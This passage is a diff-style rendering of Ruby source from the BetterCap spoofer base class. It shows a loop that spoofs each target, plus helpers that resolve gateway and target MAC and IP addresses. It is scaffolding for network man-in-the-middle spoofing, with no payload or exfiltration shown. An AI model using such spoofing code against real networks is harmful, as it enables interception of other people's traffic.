Logger.debug "Spoofing #{@ctx.targets.size} targets ..." unless @ctx.targets.empty?
|
96
|
+
|
97
|
+
update_targets!
|
98
|
+
|
99
|
+
@ctx.targets.each do |target|
|
100
|
+
yield(target)
|
101
|
+
end
|
102
|
+
|
103
|
+
sleep(delay)
|
104
|
+
end
|
105
|
+
end
|
106
|
+
|
107
|
+
# Get the MAC address of the gateway and update it.
|
108
|
+
def update_gateway!
|
109
|
+
unless @ctx.gateway.spoofable?
|
110
|
+
hw = Network.get_hw_address( @ctx, @ctx.gateway.ip )
|
111
|
+
raise BetterCap::Error, "Couldn't determine router MAC" if ( @ctx.options.need_gateway? and hw.nil? )
|
112
|
+
@ctx.gateway.mac = hw unless hw.nil?
|
113
|
+
end
|
114
|
+
|
115
|
+
###Logger.info "[#{'GATEWAY'.green}] #{@ctx.gateway.to_s(false)}"
|
116
|
+
end
|
117
|
+
|
118
|
+
# Update each target that needs to be updated.
|
119
|
+
def update_targets!
|
120
|
+
@ctx.targets.each do |target|
|
121
|
+
# targets could change, update mac addresses if needed
|
122
|
+
if target.mac.nil?
|
123
|
+
hw = Network.get_hw_address( @ctx, target.ip )
|
124
|
+
if hw.nil?
|
125
|
+
Logger.warn "Couldn't determine target #{target.ip} MAC address!"
|
126
|
+
next
|
127
|
+
else
|
128
|
+
target.mac = hw
|
129
|
+
###Logger.info "[#{'TARGET'.green}] #{target.to_s(false)}"
|
130
|
+
end
|
131
|
+
# target was specified by MAC address
|
132
|
+
elsif target.ip_refresh
|
133
|
+
ip = Network.get_ip_address( @ctx, target.mac )
|
134
|
+
if ip.nil?
|
135
|
+
Logger.warn "Couldn't determine target #{target.mac} IP address!"
|
136
|
+
next
|
137
|
+
else
|
138
|
+
doprint = ( target.ip.nil? or target.ip != ip )
|
139
|
+
target.ip = ip
|
140
|
+
###Logger.info("[#{'TARGET'.green}] #{target.to_s(false)}") if doprint
|
141
|
+
end
|
142
|
+
end
|
143
|
+
end
|
144
|
+
end
|
145
|
+
|
146
|
+
# Used to raise a NotImplementedError exception.
|
147
|
+
def not_implemented_method!
|
148
|
+
raise NotImplementedError, 'Spoofers::Base: Unimplemented method!'
|
149
|
+
end
|
150
|
+
end
|
151
|
+
end
|
152
|
+
end
|